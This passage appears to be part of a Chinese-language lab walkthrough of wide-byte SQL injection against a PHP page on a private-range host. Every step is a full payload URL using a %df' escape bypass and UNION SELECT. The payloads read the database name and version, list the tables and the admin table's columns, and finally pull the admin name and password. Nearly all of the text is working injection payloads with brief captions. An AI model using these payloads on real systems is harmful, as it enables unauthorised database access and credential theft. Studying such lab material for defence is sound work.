http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=21 UNION SELECT 1,database(),version() %23
9,查出当前库中的所有表名
1
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 union select 1,group_concat(table_name),user() from information_schema.tables where table_schema=0x64617461 %23
10,查出admin表中的所有字段名
1
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 union select 1,group_concat(column_name),user() from information_schema.columns where table_name=0x61646d696e %23
11,最后,去查出管理的账号密码数据即可
1
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 union select 1,name,pass from admin limit 0,1 %23